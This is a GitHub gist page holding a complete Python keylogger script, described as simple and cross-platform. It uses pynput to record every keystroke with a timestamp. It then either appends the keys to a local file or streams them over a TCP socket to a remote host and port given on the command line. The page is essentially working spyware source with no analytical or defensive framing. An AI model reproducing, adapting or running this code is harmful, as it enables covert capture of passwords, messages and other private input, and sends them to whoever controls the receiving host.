Skip to content

Instantly share code, notes, and snippets.

@tbhaxor
Created October 3, 2019 19:10
Show Gist options
  • Save tbhaxor/13c776c743fdd21cbdc613220f9bf31a to your computer and use it in GitHub Desktop.
Save tbhaxor/13c776c743fdd21cbdc613220f9bf31a to your computer and use it in GitHub Desktop.
A simple and crossplatform keylogger
from pynput.keyboard import Controller, Listener, Key
from argparse import ArgumentParser, RawTextHelpFormatter
from socket import socket, AF_INET, SOCK_STREAM
from os import path
import os
from datetime import datetime
def on_press_log_file(key: Key):
"""
On press key callback for log file saver
"""
# declaring global variables
global args
# getting current date time
dt = datetime.now().strftime("[%d/%m/%Y %H:%M:%S] ")
try:
# opening file
with open(args.file, "a") as file:
# appending to file
file.write(dt + key.char + "\n")
pass
except AttributeError:
# caching all special keys
_ = dt + ".".join(str(key).split(".")[1:]) + "\n"
# opening file
with open(args.file, "a") as file:
# appending to file
file.write(_)
pass
pass
def on_press_socket(key: Key):
"""
On key press callback for socket sender
"""
global soc
# get current date time
dt = datetime.now().strftime("[%d/%m/%Y %H:%M:%S] ")
try:
# create string
_ = dt + key.char + "\n"
# encode and send
soc.send(_.encode())
pass
except AttributeError:
# on special keys, make the string
_ = dt + ".".join(str(key).split(".")[1:]) + "\n"
# send bytes
soc.send(_.encode())
pass
def on_release(key: Key):
"""
On release callback for keys
"""
global listener
global soc
# if user pressed esc key
if key == Key.esc:
# close socket
soc.close()
# stop listener
listener.stop()
pass
# configuring the argument parsing
parser = ArgumentParser(description="Mini Keylogger")
parser.add_argument("--file", help="file to save key press",
default=None, metavar="FILE")
parser.add_argument("--host", help="host to connect",
default=None, metavar="HOST")
parser.add_argument("--port", default=None,
help="port to connect. use it with --host", metavar="PORT", type=int)
args = parser.parse_args()
# create a socket
soc = socket(AF_INET, SOCK_STREAM)
# if passed file
if args.file:
# if file exists
if path.exists(args.file):
# unlink
os.unlink(args.file)
# create listener
# bind callbacks
with Listener(on_press=on_press_log_file, on_release=on_release) as listener:
print("[!] Started Listening")
print("[!] Writing to {}".format(args.file))
print("[!] Press ESC to exit")
listener.join()
pass
# if host and port passed
elif args.host and args.port:
try:
# connect to socket
soc.connect((args.host, args.port))
# creating listener
# bind callbacks
with Listener(on_press=on_press_socket, on_release=on_release) as listener:
print("[!] Started Listening")
print("[!] Connected to {}:{}".format(args.host, args.port))
print("[!] Press ESC to exit")
listener.join()
pass
except ConnectionRefusedError:
# exit on connnection error
print("[x] Unable to connect to {}:{}".format(args.host, args.port))
exit(1)
pass
# print help otherwise
else:
parser.print_help()
exit(1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment